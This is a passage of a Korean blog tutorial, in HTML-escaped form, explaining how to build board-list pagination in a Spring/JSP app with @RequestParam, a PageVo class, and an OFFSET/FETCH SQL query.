&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 페이지는 내 티스토리 게시물 목록의 페이지 네이션이다. 내 티스토리 테마에서는 10개의 게시물씩 페이지를 나눠 놓았고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 22개의 게시물을 3개의 페이지에 10개 / 10개 / 2개 나누어서 페이지가 구성 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 가장 최근에 적었던 게시물이 1페이지 상단에 오도록 되어있으므로, DB에 게시물이 저장될 때, 고유키 글 번호가 1씩 오르는 시퀀스로 구성되어있다면, 글번호 값을 내림차순으로 정렬해서 게시물을 사용자에게 보여주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;258&quot; data-origin-height=&quot;56&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfFk2C/btsOWpijpjD/nq40SCHO5cPjYZ3sUoFao1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfFk2C/btsOWpijpjD/nq40SCHO5cPjYZ3sUoFao1/img.png&quot; data-alt=&quot;2페이지&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfFk2C/btsOWpijpjD/nq40SCHO5cPjYZ3sUoFao1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfFk2C%2FbtsOWpijpjD%2Fnq40SCHO5cPjYZ3sUoFao1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;258&quot; height=&quot;56&quot; data-origin-width=&quot;258&quot; data-origin-height=&quot;56&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;2페이지&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2페이지를 눌렀을때, 10개의 게시물이 출력되고 url을 확인했을 때, ?page=2라는 파라미터 키워드가 추가된 것을 확인할 수 있다. 즉, page라는 파라미터에 n이라는 값이 담겨있을 때, n페이지 게시물 목록에 대해서 사용자에게 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;222&quot; data-origin-height=&quot;42&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AM0RR/btsOWGc2wZ5/6ERGSkDM6zKa8r8C8qYz0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AM0RR/btsOWGc2wZ5/6ERGSkDM6zKa8r8C8qYz0k/img.png&quot; data-alt=&quot;게시물 상세조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AM0RR/btsOWGc2wZ5/6ERGSkDM6zKa8r8C8qYz0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAM0RR%2FbtsOWGc2wZ5%2F6ERGSkDM6zKa8r8C8qYz0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;222&quot; height=&quot;42&quot; data-origin-width=&quot;222&quot; data-origin-height=&quot;42&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시물 상세조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;492&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu4J4T/btsOW6irChx/f6PB7HU9DrtRoPP5732sI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu4J4T/btsOW6irChx/f6PB7HU9DrtRoPP5732sI1/img.png&quot; data-alt=&quot;게시물 상세조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu4J4T/btsOW6irChx/f6PB7HU9DrtRoPP5732sI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu4J4T%2FbtsOW6irChx%2Ff6PB7HU9DrtRoPP5732sI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;464&quot; data-origin-width=&quot;492&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시물 상세조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 내 티스토리 주소 뒤에 숫자 하나(n)를 통해서 요청을 보내게 되면, 내 티스토리에 n번째 글 상세페이지를 보여준다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 배웠던 스프링과 자바스크립트를 통한 서버와 브라우저간에 요청방식을 구분해보자.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;게시물 목록 페이지&lt;/b&gt; : com/?page=2 와 같이 브라우저가 요청을 보내면 @RequestParam 으로 서버측에서 값을 응답받음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;게시물 상세페이지&lt;/b&gt; : com/3 와 같이 단순히 링크뒤에 문자열을 통해 요청을 보내면 서버측에서 @PathVariable 을 통해 값을 응답받음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 어떤식으로 티스토리 페이지가 브라우저 요청과 서버측에서 어떤식으로 요청에 대한 데이터를 받아들이는지 파악하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전에 상세페이지는 @PathVariable 어노테이션을 통해서 어떤식으로 구현되는지 작성한 적이 있으니 게시물 목록 페이지를 @RequestParam 어노테이션으로 처리할 수 있도록 구현해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[페이지네이션 알고리즘 구현하기]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWnW1n/btsOUzT3qss/hrFJmJ22pC4VIxe1Q7OZkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWnW1n/btsOUzT3qss/hrFJmJ22pC4VIxe1Q7OZkk/img.png&quot; data-alt=&quot;PageVo 필드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWnW1n/btsOUzT3qss/hrFJmJ22pC4VIxe1Q7OZkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWnW1n%2FbtsOUzT3qss%2FhrFJmJ22pC4VIxe1Q7OZkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;203&quot; data-origin-width=&quot;598&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;PageVo 필드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MceJE/btsOVdbUjge/nSVGlt7TeOPwtXN6ffQ6y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MceJE/btsOVdbUjge/nSVGlt7TeOPwtXN6ffQ6y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MceJE/btsOVdbUjge/nSVGlt7TeOPwtXN6ffQ6y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMceJE%2FbtsOVdbUjge%2FnSVGlt7TeOPwtXN6ffQ6y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;367&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지네이션을 위한 PageVo 클래스이다. 여기서 가장 중요한 부분은 페이지네이션을 위해서 어떤 필드가 필요하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 필드가 어떤 로직을 통해서 값이 할당되는지를 알아야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 아래 생성자 오버라이딩된 4개의 필드 파라미터만 사용하는 PageVo를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무조건 PageVo 객체가 만들어져 올바르게 작동하기 위해서 필요한 4개의 파라미터는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 전체 글개수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 현재페이지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 한 페이지에 몇 개의 페이지를 보여줄지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 한 페이지에 몇 개의 게시물을 보여줄지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 4개의 파라미터만 있으면 나머지 필드 4개는 아래와 같은 식으로 값을 할당받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수학시간은 아니므로 알고리즘에 대한 설명은 건너뛰겠다. (식 자체를 이해하기보다는 현재페이지가 몇 페이지고 글 5개마다 10개의 페이지로 나눴다라고 예시를 들며 식에 대입하면서 이해하기가 편했습니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;255&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dG1Hmt/btsOTNrNblD/0MfAcP5BZnLiMDARJzKghK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dG1Hmt/btsOTNrNblD/0MfAcP5BZnLiMDARJzKghK/img.png&quot; data-alt=&quot;list.jsp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dG1Hmt/btsOTNrNblD/0MfAcP5BZnLiMDARJzKghK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdG1Hmt%2FbtsOTNrNblD%2F0MfAcP5BZnLiMDARJzKghK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;466&quot; height=&quot;255&quot; data-origin-width=&quot;466&quot; data-origin-height=&quot;255&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;list.jsp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 게시물 목록이 출력될 &amp;lt;tbody&amp;gt; 태그에 id로 tb를 지정해두고 전체 테이블 밖에 &amp;lt;div&amp;gt;태그를 통해서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 번호 버튼들을 출력해줄 공간을 만들어 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;537&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdTLY9/btsOVePtMkb/crTHkPKBbtFsIOl1qbr5B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdTLY9/btsOVePtMkb/crTHkPKBbtFsIOl1qbr5B0/img.png&quot; data-alt=&quot;BoardApiController list() 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdTLY9/btsOVePtMkb/crTHkPKBbtFsIOl1qbr5B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdTLY9%2FbtsOVePtMkb%2FcrTHkPKBbtFsIOl1qbr5B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;641&quot; height=&quot;537&quot; data-origin-width=&quot;641&quot; data-origin-height=&quot;537&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardApiController list() 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;BoardApiController 클래스는 @RequestMapping 어노테이션을 통해서 api/board 키워드가 요청 접두사로 지정되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 메서드 파라미터에 (@RequestParam int page)를 통해서 브라우저가 요청을 보낼 때 page라는 파라미터에 값을 담아 보내게 되고 서버측에서 해당 어노테이션을 통해서 page 번호를 받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그래서 @GetMapping()과 같이 파라미터를 비워두면 127.0.0.1:8080/api/board/?page=3 과 같은 요청이 GET 방식으로 요청이 서버로 들어오면 해당 메서드가 실행되는 구조로 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 아까 페이지네이션 알고리즘이 구현되어있는 PageVo 클래스 객체에 생성자로 필요한 4개의 파라미터가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. currentPage : 사용자가 요청을 보낼때 파라미터로 보내준 page (@RequestParam 어노테이션으로 받아옴)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. listCount : getBoardCnt() 메서드를 만들어서 현재 몇개의 글이 존재하는지 할당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. pageLimit : 내가 직접 지정 (한 번에 몇개의 페이지를 보여줄지?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. boardLimit : 내가 직접 지정 (한 페이지에 몇개의 게시물을 보여줄지?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;listCount는 Mapper에서 다음과 같은 sql 구문으로 전체 글 개수를 반환받을 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;451&quot; data-origin-height=&quot;102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf5jEt/btsOVrVWVBf/KKl3cKtDW65PFIcFtzpRc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf5jEt/btsOVrVWVBf/KKl3cKtDW65PFIcFtzpRc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf5jEt/btsOVrVWVBf/KKl3cKtDW65PFIcFtzpRc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf5jEt%2FbtsOVrVWVBf%2FKKl3cKtDW65PFIcFtzpRc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;451&quot; height=&quot;102&quot; data-origin-width=&quot;451&quot; data-origin-height=&quot;102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;29&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ljP0K/btsOWfNHDKf/kWAXzHLkVkI59ZO4ugGrDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ljP0K/btsOWfNHDKf/kWAXzHLkVkI59ZO4ugGrDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ljP0K/btsOWfNHDKf/kWAXzHLkVkI59ZO4ugGrDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FljP0K%2FbtsOWfNHDKf%2FkWAXzHLkVkI59ZO4ugGrDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;29&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;29&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이제 PageVo 생성자를 통해서 객체를 생성하면 해당 객체에는 페이지네이션에 필요한 8개의 필드에 값이 모두 할당된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해당 객체를 DB에서 게시물 리스트를 출력할 list() 메서드에 파라미터로 넣어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 여기서 기존에 모든 글목록을 출력하는 쿼리문이 아니라 한페이지에 몇 개의 게시물을 보여줄지에 대한 추가 쿼리문이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ezlLW3/btsOV8acXnj/lT0ZcmO75BuWYNK3qVw4G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ezlLW3/btsOV8acXnj/lT0ZcmO75BuWYNK3qVw4G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ezlLW3/btsOV8acXnj/lT0ZcmO75BuWYNK3qVw4G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FezlLW3%2FbtsOV8acXnj%2FlT0ZcmO75BuWYNK3qVw4G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;531&quot; height=&quot;181&quot; data-origin-width=&quot;531&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OFFSET #{offset} ROWS FETCH NEXT #{boardLimit} ROW ONLY 이라는 구문이 추가되었다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구문은 #{offset} 만큼 떨어진 결과에서 #{boardLimit} 개의 행을 출력해줘 라고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 해당 쿼리문은 내가 요청을 보낼 때 마다 현재 페이지가 몇이냐에 따라서 offset이 정해질 것이고, 그 페이지에 맞는 게시물 목록 10개를 사용자에게 응답해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 돌아와서 이제 리턴받은 게시물 5개와 사용자가 위치한 현재 페이지에 맞는 페이지네이션 필드 8개를 가지고 어떤식으로 페이지를 구성해서 jsp를 보여줄지도 필요하므로 이 2가지의 형태가 다른 데이터를 응답해주기위해 HashMap을 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 서버측으로 요청을 보내고 응답받은 데이터로 게시물목록을 출력하는 JavaScript 파일을 확인해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJh284/btsOXhKYwg0/G1tk4ZmdLUMirVwC4IgTAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJh284/btsOXhKYwg0/G1tk4ZmdLUMirVwC4IgTAK/img.png&quot; data-alt=&quot;list.js&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJh284/btsOXhKYwg0/G1tk4ZmdLUMirVwC4IgTAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJh284%2FbtsOXhKYwg0%2FG1tk4ZmdLUMirVwC4IgTAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;662&quot; height=&quot;460&quot; data-origin-width=&quot;662&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;list.js&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 메서드는 기존에 게시물 목록을 출력하기 위한 list() 메서드이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 pno 변수가 location.href.split(&quot;=&quot;).pop()을 통해서 = 으로 구분되어 맨 마지막 에 있는 값을 반환받고있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 list 홈페이지에 어떤식으로 접근했길래 다음과 같은 메서드가 존재하는지 BoardController에 가서 확인해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqfcaW/btsOWfNIrlZ/fax9crPFerflXVsXLiwgz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqfcaW/btsOWfNIrlZ/fax9crPFerflXVsXLiwgz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqfcaW/btsOWfNIrlZ/fax9crPFerflXVsXLiwgz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqfcaW%2FbtsOWfNIrlZ%2Ffax9crPFerflXVsXLiwgz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;307&quot; height=&quot;96&quot; data-origin-width=&quot;307&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 사이드바 메뉴에서 게시물 목록 메뉴를 클릭했을 때, 다음과 같은 서버 포워딩 처리가 이루어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시물 목록 메뉴에는 a태그에 href 속성으로 다음과 같이 되어있다.&lt;/p&gt;
